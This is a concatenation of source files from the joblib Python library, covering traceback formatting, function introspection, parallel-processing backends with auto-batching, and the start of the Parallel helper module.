        def linereader(file=file, lnum=[lnum], getline=linecache.getline):
            line = getline(file, lnum[0])
            lnum[0] += 1
            return line

        # Build the list of names on this line of code where the exception
        # occurred.
        try:
            # This builds the names list in-place by capturing it from the
            # enclosing scope.
            for token in generate_tokens(linereader):
                tokeneater(*token)
        except (IndexError, UnicodeDecodeError):
            # signals exit of tokenizer
            pass
        except tokenize.TokenError as msg:
            _m = ("An unexpected error occurred while tokenizing input file %s\n"
                  "The following traceback may be corrupted or invalid\n"
                  "The error message is: %s\n" % (file, msg))
            print(_m)

        # prune names list of duplicates, but keep the right order
        unique_names = uniq_stable(names)

        # Start loop over vars
        lvals = []
        for name_full in unique_names:
            name_base = name_full.split('.', 1)[0]
            if name_base in frame.f_code.co_varnames:
                if name_base in locals.keys():
                    try:
                        value = safe_repr(eval(name_full, locals))
                    except:
                        value = "undefined"
                else:
                    value = "undefined"
                name = name_full
                lvals.append('%s = %s' % (name, value))
            #elif print_globals:
            #    if frame.f_globals.has_key(name_base):
            #        try:
            #            value = safe_repr(eval(name_full,frame.f_globals))
            #        except:
            #            value = "undefined"
            #    else:
            #        value = "undefined"
            #    name = 'global %s' % name_full
            #    lvals.append('%s = %s' % (name,value))
        if lvals:
            lvals = '%s%s' % (INDENT, ('\n%s' % INDENT).join(lvals))
        else:
            lvals = ''

        level = '%s\n%s %s\n' % (75 * '.', link, call)

        if index is None:
            frames.append(level)
        else:
            frames.append('%s%s' % (level, ''.join(
                _format_traceback_lines(lnum, index, lines, lvals))))

    return frames


###############################################################################
def format_exc(etype, evalue, etb, context=5, tb_offset=0):
    """ Return a nice text document describing the traceback.

        Parameters
        -----------
        etype, evalue, etb: as returned by sys.exc_info
        context: number of lines of the source file to plot
        tb_offset: the number of stack frame not to use (0 = use all)

    """
    # some locals
    try:
        etype = etype.__name__
    except AttributeError:
        pass

    # Header with the exception type, python version, and date
    pyver = 'Python ' + sys.version.split()[0] + ': ' + sys.executable
    date = time.ctime(time.time())
    pid = 'PID: %i' % os.getpid()

    head = '%s%s%s\n%s%s%s' % (
        etype, ' ' * (75 - len(str(etype)) - len(date)),
        date, pid, ' ' * (75 - len(str(pid)) - len(pyver)),
        pyver)

    # Drop topmost frames if requested
    try:
        records = _fixed_getframes(etb, context, tb_offset)
    except:
        raise
        print('\nUnfortunately, your original traceback can not be '
              'constructed.\n')
        return ''

    # Get (safely) a string form of the exception info
    try:
        etype_str, evalue_str = map(str, (etype, evalue))
    except:
        # User exception is improperly defined.
        etype, evalue = str, sys.exc_info()[:2]
        etype_str, evalue_str = map(str, (etype, evalue))
    # ... and format it
    exception = ['%s: %s' % (etype_str, evalue_str)]
    frames = format_records(records)
    return '%s\n%s\n%s' % (head, '\n'.join(frames), ''.join(exception[0]))


###############################################################################
def format_outer_frames(context=5, stack_start=None, stack_end=None,
                        ignore_ipython=True):
    LNUM_POS, LINES_POS, INDEX_POS = 2, 4, 5
    records = inspect.getouterframes(inspect.currentframe())
    output = list()

    for i, (frame, filename, line_no, func_name, lines, index) \
                                                in enumerate(records):
        # Look inside the frame's globals dictionary for __file__, which should
        # be better.
        better_fn = frame.f_globals.get('__file__', None)
        if isinstance(better_fn, str):
            # Check the type just in case someone did something weird with
            # __file__. It might also be None if the error occurred during
            # import.
            filename = better_fn
            if filename.endswith('.pyc'):
                filename = filename[:-4] + '.py'
        if ignore_ipython:
            # Hack to avoid printing the internals of IPython
            if (os.path.basename(filename) == 'iplib.py'
                        and func_name in ('safe_execfile', 'runcode')):
                break
        maybeStart = line_no - 1 - context // 2
        start = max(maybeStart, 0)
        end = start + context
        lines = linecache.getlines(filename)[start:end]
        # pad with empty lines if necessary
        if maybeStart < 0:
            lines = (['\n'] * -maybeStart) + lines
        if len(lines) < context:
            lines += ['\n'] * (context - len(lines))
        buf = list(records[i])
        buf[LNUM_POS] = line_no
        buf[INDEX_POS] = line_no - 1 - start
        buf[LINES_POS] = lines
        output.append(tuple(buf))
    return '\n'.join(format_records(output[stack_end:stack_start:-1]))






""" Joblib is a set of tools to provide **lightweight pipelining in
Python**. In particular, joblib offers:

  1. transparent disk-caching of the output values and lazy re-evaluation
     (memoize pattern)

  2. easy simple parallel computing

  3. logging and tracing of the execution

Joblib is optimized to be **fast** and **robust** in particular on large
data and has specific optimizations for `numpy` arrays. It is
**BSD-licensed**.


    ============================== ============================================
    **User documentation**:        http://pythonhosted.org/joblib

    **Download packages**:         http://pypi.python.org/pypi/joblib#downloads

    **Source code**:               http://github.com/joblib/joblib

    **Report issues**:             http://github.com/joblib/joblib/issues
    ============================== ============================================


Vision
--------

The vision is to provide tools to easily achieve better performance and
reproducibility when working with long running jobs.

 *  **Avoid computing twice the same thing**: code is rerun over an
    over, for instance when prototyping computational-heavy jobs (as in
    scientific development), but hand-crafted solution to alleviate this
    issue is error-prone and often leads to unreproducible results

 *  **Persist to disk transparently**: persisting in an efficient way
    arbitrary objects containing large data is hard. Using
    joblib's caching mechanism avoids hand-written persistence and
    implicitly links the file on disk to the execution context of
    the original Python object. As a result, joblib's persistence is
    good for resuming an application status or computational job, eg
    after a crash.

Joblib strives to address these problems while **leaving your code and
your flow control as unmodified as possible** (no framework, no new
paradigms).

Main features
------------------

1) **Transparent and fast disk-caching of output value:** a memoize or
   make-like functionality for Python functions that works well for
   arbitrary Python objects, including very large numpy arrays. Separate
   persistence and flow-execution logic from domain logic or algorithmic
   code by writing the operations as a set of steps with well-defined
   inputs and  outputs: Python functions. Joblib can save their
   computation to disk and rerun it only if necessary::

      >>> from sklearn.externals.joblib import Memory
      >>> mem = Memory(cachedir='/tmp/joblib')
      >>> import numpy as np
      >>> a = np.vander(np.arange(3)).astype(np.float)
      >>> square = mem.cache(np.square)
      >>> b = square(a)                                   # doctest: +ELLIPSIS
      ________________________________________________________________________________
      [Memory] Calling square...
      square(array([[ 0.,  0.,  1.],
             [ 1.,  1.,  1.],
             [ 4.,  2.,  1.]]))
      ___________________________________________________________square - 0...s, 0.0min

      >>> c = square(a)
      >>> # The above call did not trigger an evaluation

2) **Embarrassingly parallel helper:** to make it easy to write readable
   parallel code and debug it quickly::

      >>> from sklearn.externals.joblib import Parallel, delayed
      >>> from math import sqrt
      >>> Parallel(n_jobs=1)(delayed(sqrt)(i**2) for i in range(10))
      [0.0, 1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0, 9.0]


3) **Logging/tracing:** The different functionalities will
   progressively acquire better logging mechanism to help track what
   has been ran, and capture I/O easily. In addition, Joblib will
   provide a few I/O primitives, to easily define logging and
   display streams, and provide a way of compiling a report.
   We want to be able to quickly inspect what has been run.

4) **Fast compressed Persistence**: a replacement for pickle to work
   efficiently on Python objects containing large data (
   *joblib.dump* & *joblib.load* ).

..
    >>> import shutil ; shutil.rmtree('/tmp/joblib/')

"""

# PEP0440 compatible formatted version, see:
# https://www.python.org/dev/peps/pep-0440/
#
# Generic release markers:
# X.Y
# X.Y.Z # For bugfix releases
#
# Admissible pre-release markers:
# X.YaN # Alpha release
# X.YbN # Beta release
# X.YrcN # Release Candidate
# X.Y # Final release
#
# Dev branch marker is: 'X.Y.dev' or 'X.Y.devN' where N is an integer.
# 'X.Y.dev0' is the canonical version of 'X.Y.dev'
#
__version__ = '0.10.0'


from .memory import Memory, MemorizedResult
from .logger import PrintTime
from .logger import Logger
from .hashing import hash
from .numpy_pickle import dump
from .numpy_pickle import load
from .parallel import Parallel
from .parallel import delayed
from .parallel import cpu_count
from .parallel import register_parallel_backend
from .parallel import parallel_backend
from .parallel import effective_n_jobs


__all__ = ['Memory', 'MemorizedResult', 'PrintTime', 'Logger', 'hash', 'dump',
           'load', 'Parallel', 'delayed', 'cpu_count', 'effective_n_jobs',
           'register_parallel_backend', 'parallel_backend']






"""
My own variation on function-specific inspect-like features.
"""

# Author: Gael Varoquaux <gael dot varoquaux at normalesup dot org>
# Copyright (c) 2009 Gael Varoquaux
# License: BSD Style, 3 clauses.

from itertools import islice
import inspect
import warnings
import re
import os

from ._compat import _basestring
from .logger import pformat
from ._memory_helpers import open_py_source
from ._compat import PY3_OR_LATER


def get_func_code(func):
    """ Attempts to retrieve a reliable function code hash.

        The reason we don't use inspect.getsource is that it caches the
        source, whereas we want this to be modified on the fly when the
        function is modified.

        Returns
        -------
        func_code: string
            The function code
        source_file: string
            The path to the file in which the function is defined.
        first_line: int
            The first line of the code in the source file.

        Notes
        ------
        This function does a bit more magic than inspect, and is thus
        more robust.
    """
    source_file = None
    try:
        code = func.__code__
        source_file = code.co_filename
        if not os.path.exists(source_file):
            # Use inspect for lambda functions and functions defined in an
            # interactive shell, or in doctests
            source_code = ''.join(inspect.getsourcelines(func)[0])
            line_no = 1
            if source_file.startswith('<doctest '):
                source_file, line_no = re.match(
                            '\<doctest (.*\.rst)\[(.*)\]\>',
                            source_file).groups()
                line_no = int(line_no)
                source_file = '<doctest %s>' % source_file
            return source_code, source_file, line_no
        # Try to retrieve the source code.
        with open_py_source(source_file) as source_file_obj:
            first_line = code.co_firstlineno
            # All the lines after the function definition:
            source_lines = list(islice(source_file_obj, first_line - 1, None))
        return ''.join(inspect.getblock(source_lines)), source_file, first_line
    except:
        # If the source code fails, we use the hash. This is fragile and
        # might change from one session to another.
        if hasattr(func, '__code__'):
            # Python 3.X
            return str(func.__code__.__hash__()), source_file, -1
        else:
            # Weird objects like numpy ufunc don't have __code__
            # This is fragile, as quite often the id of the object is
            # in the repr, so it might not persist across sessions,
            # however it will work for ufuncs.
            return repr(func), source_file, -1


def _clean_win_chars(string):
    """Windows cannot encode some characters in filename."""
    import urllib
    if hasattr(urllib, 'quote'):
        quote = urllib.quote
    else:
        # In Python 3, quote is elsewhere
        import urllib.parse
        quote = urllib.parse.quote
    for char in ('<', '>', '!', ':', '\\'):
        string = string.replace(char, quote(char))
    return string


def get_func_name(func, resolv_alias=True, win_characters=True):
    """ Return the function import path (as a list of module names), and
        a name for the function.

        Parameters
        ----------
        func: callable
            The func to inspect
        resolv_alias: boolean, optional
            If true, possible local aliases are indicated.
        win_characters: boolean, optional
            If true, substitute special characters using urllib.quote
            This is useful in Windows, as it cannot encode some filenames
    """
    if hasattr(func, '__module__'):
        module = func.__module__
    else:
        try:
            module = inspect.getmodule(func)
        except TypeError:
            if hasattr(func, '__class__'):
                module = func.__class__.__module__
            else:
                module = 'unknown'
    if module is None:
        # Happens in doctests, eg
        module = ''
    if module == '__main__':
        try:
            filename = os.path.abspath(inspect.getsourcefile(func))
        except:
            filename = None
        if filename is not None:
            # mangling of full path to filename
            parts = filename.split(os.sep)
            if parts[-1].startswith('<ipython-input'):
                # function is defined in an IPython session. The filename
                # will change with every new kernel instance. This hack
                # always returns the same filename
                parts[-1] = '__ipython-input__'
            filename = '-'.join(parts)
            if filename.endswith('.py'):
                filename = filename[:-3]
            module = module + '-' + filename
    module = module.split('.')
    if hasattr(func, 'func_name'):
        name = func.func_name
    elif hasattr(func, '__name__'):
        name = func.__name__
    else:
        name = 'unknown'
    # Hack to detect functions not defined at the module-level
    if resolv_alias:
        # TODO: Maybe add a warning here?
        if hasattr(func, 'func_globals') and name in func.func_globals:
            if not func.func_globals[name] is func:
                name = '%s-alias' % name
    if inspect.ismethod(func):
        # We need to add the name of the class
        if hasattr(func, 'im_class'):
            klass = func.im_class
            module.append(klass.__name__)
    if os.name == 'nt' and win_characters:
        # Stupid windows can't encode certain characters in filenames
        name = _clean_win_chars(name)
        module = [_clean_win_chars(s) for s in module]
    return module, name


def getfullargspec(func):
    """Compatibility function to provide inspect.getfullargspec in Python 2

    This should be rewritten using a backport of Python 3 signature
    once we drop support for Python 2.6. We went for a simpler
    approach at the time of writing because signature uses OrderedDict
    which is not available in Python 2.6.
    """
    try:
        return inspect.getfullargspec(func)
    except AttributeError:
        arg_spec = inspect.getargspec(func)
        import collections
        tuple_fields = ('args varargs varkw defaults kwonlyargs '
                        'kwonlydefaults annotations')
        tuple_type = collections.namedtuple('FullArgSpec', tuple_fields)

        return tuple_type(args=arg_spec.args,
                          varargs=arg_spec.varargs,
                          varkw=arg_spec.keywords,
                          defaults=arg_spec.defaults,
                          kwonlyargs=[],
                          kwonlydefaults=None,
                          annotations={})


def _signature_str(function_name, arg_spec):
    """Helper function to output a function signature"""
    # inspect.formatargspec can not deal with the same
    # number of arguments in python 2 and 3
    arg_spec_for_format = arg_spec[:7 if PY3_OR_LATER else 4]

    arg_spec_str = inspect.formatargspec(*arg_spec_for_format)
    return '{0}{1}'.format(function_name, arg_spec_str)


def _function_called_str(function_name, args, kwargs):
    """Helper function to output a function call"""
    template_str = '{0}({1}, {2})'

    args_str = repr(args)[1:-1]
    kwargs_str = ', '.join('%s=%s' % (k, v)
                           for k, v in kwargs.items())
    return template_str.format(function_name, args_str,
                               kwargs_str)


def filter_args(func, ignore_lst, args=(), kwargs=dict()):
    """ Filters the given args and kwargs using a list of arguments to
        ignore, and a function specification.

        Parameters
        ----------
        func: callable
            Function giving the argument specification
        ignore_lst: list of strings
            List of arguments to ignore (either a name of an argument
            in the function spec, or '*', or '**')
        *args: list
            Positional arguments passed to the function.
        **kwargs: dict
            Keyword arguments passed to the function

        Returns
        -------
        filtered_args: list
            List of filtered positional and keyword arguments.
    """
    args = list(args)
    if isinstance(ignore_lst, _basestring):
        # Catch a common mistake
        raise ValueError(
            'ignore_lst must be a list of parameters to ignore '
            '%s (type %s) was given' % (ignore_lst, type(ignore_lst)))
    # Special case for functools.partial objects
    if (not inspect.ismethod(func) and not inspect.isfunction(func)):
        if ignore_lst:
            warnings.warn('Cannot inspect object %s, ignore list will '
                          'not work.' % func, stacklevel=2)
        return {'*': args, '**': kwargs}
    arg_spec = getfullargspec(func)
    arg_names = arg_spec.args + arg_spec.kwonlyargs
    arg_defaults = arg_spec.defaults or ()
    arg_defaults = arg_defaults + tuple(arg_spec.kwonlydefaults[k]
                                        for k in arg_spec.kwonlyargs)
    arg_varargs = arg_spec.varargs
    arg_varkw = arg_spec.varkw

    if inspect.ismethod(func):
        # First argument is 'self', it has been removed by Python
        # we need to add it back:
        args = [func.__self__, ] + args
    # XXX: Maybe I need an inspect.isbuiltin to detect C-level methods, such
    # as on ndarrays.

    _, name = get_func_name(func, resolv_alias=False)
    arg_dict = dict()
    arg_position = -1
    for arg_position, arg_name in enumerate(arg_names):
        if arg_position < len(args):
            # Positional argument or keyword argument given as positional
            if arg_name not in arg_spec.kwonlyargs:
                arg_dict[arg_name] = args[arg_position]
            else:
                raise ValueError(
                    "Keyword-only parameter '%s' was passed as "
                    'positional parameter for %s:\n'
                    '     %s was called.'
                    % (arg_name,
                       _signature_str(name, arg_spec),
                       _function_called_str(name, args, kwargs))
                )

        else:
            position = arg_position - len(arg_names)
            if arg_name in kwargs:
                arg_dict[arg_name] = kwargs.pop(arg_name)
            else:
                try:
                    arg_dict[arg_name] = arg_defaults[position]
                except (IndexError, KeyError):
                    # Missing argument
                    raise ValueError(
                        'Wrong number of arguments for %s:\n'
                        '     %s was called.'
                        % (_signature_str(name, arg_spec),
                           _function_called_str(name, args, kwargs))
                    )

    varkwargs = dict()
    for arg_name, arg_value in sorted(kwargs.items()):
        if arg_name in arg_dict:
            arg_dict[arg_name] = arg_value
        elif arg_varkw is not None:
            varkwargs[arg_name] = arg_value
        else:
            raise TypeError("Ignore list for %s() contains an unexpected "
                            "keyword argument '%s'" % (name, arg_name))

    if arg_varkw is not None:
        arg_dict['**'] = varkwargs
    if arg_varargs is not None:
        varargs = args[arg_position + 1:]
        arg_dict['*'] = varargs

    # Now remove the arguments to be ignored
    for item in ignore_lst:
        if item in arg_dict:
            arg_dict.pop(item)
        else:
            raise ValueError("Ignore list: argument '%s' is not defined for "
                             "function %s"
                             % (item,
                                _signature_str(name, arg_spec))
            )
    # XXX: Return a sorted list of pairs?
    return arg_dict


def format_signature(func, *args, **kwargs):
    # XXX: Should this use inspect.formatargvalues/formatargspec?
    module, name = get_func_name(func)
    module = [m for m in module if m]
    if module:
        module.append(name)
        module_path = '.'.join(module)
    else:
        module_path = name
    arg_str = list()
    previous_length = 0
    for arg in args:
        arg = pformat(arg, indent=2)
        if len(arg) > 1500:
            arg = '%s...' % arg[:700]
        if previous_length > 80:
            arg = '\n%s' % arg
        previous_length = len(arg)
        arg_str.append(arg)
    arg_str.extend(['%s=%s' % (v, pformat(i)) for v, i in kwargs.items()])
    arg_str = ', '.join(arg_str)

    signature = '%s(%s)' % (name, arg_str)
    return module_path, signature


def format_call(func, args, kwargs, object_name="Memory"):
    """ Returns a nicely formatted statement displaying the function
        call with the given arguments.
    """
    path, signature = format_signature(func, *args, **kwargs)
    msg = '%s\n[%s] Calling %s...\n%s' % (80 * '_', object_name,
                                          path, signature)
    return msg
    # XXX: Not using logging framework
    #self.debug(msg)






"""
Backends for embarrassingly parallel code.
"""

import gc
import os
import sys
import warnings
import threading
from abc import ABCMeta, abstractmethod

from .format_stack import format_exc
from .my_exceptions import WorkerInterrupt, TransportableException
from ._multiprocessing_helpers import mp
from ._compat import with_metaclass
if mp is not None:
    from .pool import MemmapingPool
    from multiprocessing.pool import ThreadPool


class ParallelBackendBase(with_metaclass(ABCMeta)):
    """Helper abc which defines all methods a ParallelBackend must implement"""

    @abstractmethod
    def effective_n_jobs(self, n_jobs):
        """Determine the number of jobs that can actually run in parallel

        n_jobs is the is the number of workers requested by the callers.
        Passing n_jobs=-1 means requesting all available workers for instance
        matching the number of CPU cores on the worker host(s).

        This method should return a guesstimate of the number of workers that
        can actually perform work concurrently. The primary use case is to make
        it possible for the caller to know in how many chunks to slice the
        work.

        In general working on larger data chunks is more efficient (less
        scheduling overhead and better use of CPU cache prefetching heuristics)
        as long as all the workers have enough work to do.
        """

    @abstractmethod
    def apply_async(self, func, callback=None):
        """Schedule a func to be run"""

    def configure(self, n_jobs=1, parallel=None, **backend_args):
        """Reconfigure the backend and return the number of workers.

        This makes it possible to reuse an existing backend instance for
        successive independent calls to Parallel with different parameters.
        """
        self.parallel = parallel
        return self.effective_n_jobs(n_jobs)

    def terminate(self):
        """Shutdown the process or thread pool"""

    def compute_batch_size(self):
        """Determine the optimal batch size"""
        return 1

    def batch_completed(self, batch_size, duration):
        """Callback indicate how long it took to run a batch"""

    def get_exceptions(self):
        """List of exception types to be captured."""
        return []

    def abort_everything(self, ensure_ready=True):
        """Abort any running tasks

        This is called when an exception has been raised when executing a tasks
        and all the remaining tasks will be ignored and can therefore be
        aborted to spare computation resources.

        If ensure_ready is True, the backend should be left in an operating
        state as future tasks might be re-submitted via that same backend
        instance.

        If ensure_ready is False, the implementer of this method can decide
        to leave the backend in a closed / terminated state as no new task
        are expected to be submitted to this backend.

        Setting ensure_ready to False is an optimization that can be leveraged
        when aborting tasks via killing processes from a local process pool
        managed by the backend it-self: if we expect no new tasks, there is no
        point in re-creating a new working pool.
        """
        # Does nothing by default: to be overriden in subclasses when canceling
        # tasks is possible.
        pass


class SequentialBackend(ParallelBackendBase):
    """A ParallelBackend which will execute all batches sequentially.

    Does not use/create any threading objects, and hence has minimal
    overhead. Used when n_jobs == 1.
    """

    def effective_n_jobs(self, n_jobs):
        """Determine the number of jobs which are going to run in parallel"""
        if n_jobs == 0:
            raise ValueError('n_jobs == 0 in Parallel has no meaning')
        return 1

    def apply_async(self, func, callback=None):
        """Schedule a func to be run"""
        result = ImmediateResult(func)
        if callback:
            callback(result)
        return result


class PoolManagerMixin(object):
    """A helper class for managing pool of workers."""

    def effective_n_jobs(self, n_jobs):
        """Determine the number of jobs which are going to run in parallel"""
        if n_jobs == 0:
            raise ValueError('n_jobs == 0 in Parallel has no meaning')
        elif mp is None or n_jobs is None:
            # multiprocessing is not available or disabled, fallback
            # to sequential mode
            return 1
        elif n_jobs < 0:
            n_jobs = max(mp.cpu_count() + 1 + n_jobs, 1)
        return n_jobs

    def terminate(self):
        """Shutdown the process or thread pool"""
        if self._pool is not None:
            self._pool.close()
            self._pool.terminate()  # terminate does a join()
            self._pool = None

    def apply_async(self, func, callback=None):
        """Schedule a func to be run"""
        return self._pool.apply_async(SafeFunction(func), callback=callback)

    def abort_everything(self, ensure_ready=True):
        """Shutdown the pool and restart a new one with the same parameters"""
        self.terminate()
        if ensure_ready:
            self.configure(n_jobs=self.parallel.n_jobs, parallel=self.parallel,
                           **self.parallel._backend_args)


class AutoBatchingMixin(object):
    """A helper class for automagically batching jobs."""

    # In seconds, should be big enough to hide multiprocessing dispatching
    # overhead.
    # This settings was found by running benchmarks/bench_auto_batching.py
    # with various parameters on various platforms.
    MIN_IDEAL_BATCH_DURATION = .2

    # Should not be too high to avoid stragglers: long jobs running alone
    # on a single worker while other workers have no work to process any more.
    MAX_IDEAL_BATCH_DURATION = 2

    # Batching counters
    _effective_batch_size = 1
    _smoothed_batch_duration = 0.0

    def compute_batch_size(self):
        """Determine the optimal batch size"""
        old_batch_size = self._effective_batch_size
        batch_duration = self._smoothed_batch_duration
        if (batch_duration > 0 and
                batch_duration < self.MIN_IDEAL_BATCH_DURATION):
            # The current batch size is too small: the duration of the
            # processing of a batch of task is not large enough to hide
            # the scheduling overhead.
            ideal_batch_size = int(old_batch_size *
                                   self.MIN_IDEAL_BATCH_DURATION /
                                   batch_duration)
            # Multiply by two to limit oscilations between min and max.
            batch_size = max(2 * ideal_batch_size, 1)
            self._effective_batch_size = batch_size
            if self.parallel.verbose >= 10:
                self.parallel._print(
                    "Batch computation too fast (%.4fs.) "
                    "Setting batch_size=%d.", (batch_duration, batch_size))
        elif (batch_duration > self.MAX_IDEAL_BATCH_DURATION and
              old_batch_size >= 2):
            # The current batch size is too big. If we schedule overly long
            # running batches some CPUs might wait with nothing left to do
            # while a couple of CPUs a left processing a few long running
            # batches. Better reduce the batch size a bit to limit the
            # likelihood of scheduling such stragglers.
            batch_size = old_batch_size // 2
            self._effective_batch_size = batch_size
            if self.parallel.verbose >= 10:
                self.parallel._print(
                    "Batch computation too slow (%.4fs.) "
                    "Setting batch_size=%d.", (batch_duration, batch_size))
        else:
            # No batch size adjustment
            batch_size = old_batch_size

        if batch_size != old_batch_size:
            # Reset estimation of the smoothed mean batch duration: this
            # estimate is updated in the multiprocessing apply_async
            # CallBack as long as the batch_size is constant. Therefore
            # we need to reset the estimate whenever we re-tune the batch
            # size.
            self._smoothed_batch_duration = 0

        return batch_size

    def batch_completed(self, batch_size, duration):
        """Callback indicate how long it took to run a batch"""
        if batch_size == self._effective_batch_size:
            # Update the smoothed streaming estimate of the duration of a batch
            # from dispatch to completion
            old_duration = self._smoothed_batch_duration
            if old_duration == 0:
                # First record of duration for this batch size after the last
                # reset.
                new_duration = duration
            else:
                # Update the exponentially weighted average of the duration of
                # batch for the current effective size.
                new_duration = 0.8 * old_duration + 0.2 * duration
            self._smoothed_batch_duration = new_duration


class ThreadingBackend(PoolManagerMixin, ParallelBackendBase):
    """A ParallelBackend which will use a thread pool to execute batches in.

    This is a low-overhead backend but it suffers from the Python Global
    Interpreter Lock if the called function relies a lot on Python objects.
    Mostly useful when the execution bottleneck is a compiled extension that
    explicitly releases the GIL (for instance a Cython loop wrapped in a
    "with nogil" block or an expensive call to a library such as NumPy).
    """

    def configure(self, n_jobs=1, parallel=None, **backend_args):
        """Build a process or thread pool and return the number of workers"""
        n_jobs = self.effective_n_jobs(n_jobs)
        if n_jobs == 1:
            # Avoid unnecessary overhead and use sequential backend instead.
            raise FallbackToBackend(SequentialBackend())
        self.parallel = parallel
        self._pool = ThreadPool(n_jobs)
        return n_jobs


class MultiprocessingBackend(PoolManagerMixin, AutoBatchingMixin,
                             ParallelBackendBase):
    """A ParallelBackend which will use a multiprocessing.Pool.

    Will introduce some communication and memory overhead when exchanging
    input and output data with the with the worker Python processes.
    However, does not suffer from the Python Global Interpreter Lock.
    """

    # Environment variables to protect against bad situations when nesting
    JOBLIB_SPAWNED_PROCESS = "__JOBLIB_SPAWNED_PARALLEL__"

    def effective_n_jobs(self, n_jobs):
        """Determine the number of jobs which are going to run in parallel.

        This also checks if we are attempting to create a nested parallel
        loop.
        """
        if mp.current_process().daemon:
            # Daemonic processes cannot have children
            warnings.warn(
                'Multiprocessing-backed parallel loops cannot be nested,'
                ' setting n_jobs=1',
                stacklevel=3)
            return 1

        elif threading.current_thread().name != 'MainThread':
            # Prevent posix fork inside in non-main posix threads
            warnings.warn(
                'Multiprocessing backed parallel loops cannot be nested'
                ' below threads, setting n_jobs=1',
                stacklevel=3)
            return 1

        return super(MultiprocessingBackend, self).effective_n_jobs(n_jobs)

    def configure(self, n_jobs=1, parallel=None, **backend_args):
        """Build a process or thread pool and return the number of workers"""
        n_jobs = self.effective_n_jobs(n_jobs)
        if n_jobs == 1:
            raise FallbackToBackend(SequentialBackend())

        already_forked = int(os.environ.get(self.JOBLIB_SPAWNED_PROCESS, 0))
        if already_forked:
            raise ImportError(
                '[joblib] Attempting to do parallel computing '
                'without protecting your import on a system that does '
                'not support forking. To use parallel-computing in a '
                'script, you must protect your main loop using "if '
                "__name__ == '__main__'"
                '". Please see the joblib documentation on Parallel '
                'for more information')
        # Set an environment variable to avoid infinite loops
        os.environ[self.JOBLIB_SPAWNED_PROCESS] = '1'

        # Make sure to free as much memory as possible before forking
        gc.collect()
        self._pool = MemmapingPool(n_jobs, **backend_args)
        self.parallel = parallel
        return n_jobs

    def terminate(self):
        """Shutdown the process or thread pool"""
        super(MultiprocessingBackend, self).terminate()
        if self.JOBLIB_SPAWNED_PROCESS in os.environ:
            del os.environ[self.JOBLIB_SPAWNED_PROCESS]


class ImmediateResult(object):
    def __init__(self, batch):
        # Don't delay the application, to avoid keeping the input
        # arguments in memory
        self.results = batch()

    def get(self):
        return self.results


class SafeFunction(object):
    """Wrapper that handles the serialization of exception tracebacks.

    If an exception is triggered when calling the inner function, a copy of
    the full traceback is captured to make it possible to serialize
    it so that it can be rendered in a different Python process.
    """
    def __init__(self, func):
        self.func = func

    def __call__(self, *args, **kwargs):
        try:
            return self.func(*args, **kwargs)
        except KeyboardInterrupt:
            # We capture the KeyboardInterrupt and reraise it as
            # something different, as multiprocessing does not
            # interrupt processing for a KeyboardInterrupt
            raise WorkerInterrupt()
        except:
            e_type, e_value, e_tb = sys.exc_info()
            text = format_exc(e_type, e_value, e_tb, context=10, tb_offset=1)
            raise TransportableException(text, e_type)


class FallbackToBackend(Exception):
    """Raised when configuration should fallback to another backend"""

    def __init__(self, backend):
        self.backend = backend






"""
Helpers for embarrassingly parallel code.
"""
# Author: Gael Varoquaux < gael dot varoquaux at normalesup dot org >
# Copyright: 2010, Gael Varoquaux
# License: BSD 3 clause

from __future__ import division

import os
import sys
from math import sqrt
import functools
import time
import threading
import itertools
from numbers import Integral
from contextlib import contextmanager
try:
    import cPickle as pickle
except:
    import pickle

from ._multiprocessing_helpers import mp

from .format_stack import format_outer_frames
from .logger import Logger, short_format_time
from .my_exceptions import TransportableException, _mk_exception
from .disk import memstr_to_bytes
from ._parallel_backends import (FallbackToBackend, MultiprocessingBackend,
                                 ThreadingBackend, SequentialBackend)
from ._compat import _basestring
from .func_inspect import getfullargspec


BACKENDS = {
    'multiprocessing': MultiprocessingBackend,
    'threading': ThreadingBackend,
    'sequential': SequentialBackend,
}

# name of the backend used by default by Parallel outside of any context
# managed by ``parallel_backend``.
DEFAULT_BACKEND = 'multiprocessing'
DEFAULT_N_JOBS = 1

# Thread local value that can be overriden by the ``parallel_backend`` context
# manager
_backend = threading.local()


def get_active_backend():
    """Return the active default backend"""
    active_backend_and_jobs = getattr(_backend, 'backend_and_jobs', None)
    if active_backend_and_jobs is not None:
        return active_backend_and_jobs
    # We are outside of the scope of any parallel_backend context manager,
    # create the default backend instance now
    active_backend = BACKENDS[DEFAULT_BACKEND]()
    return active_backend, DEFAULT_N_JOBS


@contextmanager
def parallel_backend(backend, n_jobs=-1, **backend_params):
    """Change the default backend used by Parallel inside a with block.

    If ``backend`` is a string it must match a previously registered
    implementation using the ``register_parallel_backend`` function.

    Alternatively backend can be passed directly as an instance.

    By default all available workers will be used (``n_jobs=-1``) unless the
    caller passes an explicit value for the ``n_jobs`` parameter.

    This is an alternative to passing a ``backend='backend_name'`` argument to
    the ``Parallel`` class constructor. It is particularly useful when calling
    into library code that uses joblib internally but does not expose the
    backend argument in its own API.

    >>> from operator import neg
    >>> with parallel_backend('threading'):
    ...     print(Parallel()(delayed(neg)(i + 1) for i in range(5)))
    ...
    [-1, -2, -3, -4, -5]

    Warning: this function is experimental and subject to change in a future
    version of joblib.

    .. versionadded:: 0.10

    """
    if isinstance(backend, _basestring):
        backend = BACKENDS[backend](**backend_params)
    old_backend_and_jobs = getattr(_backend, 'backend_and_jobs', None)
    try:
        _backend.backend_and_jobs = (backend, n_jobs)
        # return the backend instance to make it easier to write tests
        yield backend, n_jobs
    finally:
        if old_backend_and_jobs is None:
            if getattr(_backend, 'backend_and_jobs', None) is not None:
                del _backend.backend_and_jobs
        else:
            _backend.backend_and_jobs = old_backend_and_jobs


# Under Linux or OS X the default start method of multiprocessing
# can cause third party libraries to crash. Under Python 3.4+ it is possible
# to set an environment variable to switch the default start method from
# 'fork' to 'forkserver' or 'spawn' to avoid this issue albeit at the cost
# of causing semantic changes and some additional pool instantiation overhead.
if hasattr(mp, 'get_context'):
    method = os.environ.get('JOBLIB_START_METHOD', '').strip() or None
    DEFAULT_MP_CONTEXT = mp.get_context(method=method)
else:
    DEFAULT_MP_CONTEXT = None


class BatchedCalls(object):
    """Wrap a sequence of (func, args, kwargs) tuples as a single callable"""

    def __init__(self, iterator_slice):
        self.items = list(iterator_slice)
        self._size = len(self.items)

    def __call__(self):
        return [func(*args, **kwargs) for func, args, kwargs in self.items]

    def __len__(self):
        return self._size


###############################################################################
# CPU count that works also when multiprocessing has been disabled via
# the JOBLIB_MULTIPROCESSING environment variable
def cpu_count():
    """Return the number of CPUs."""
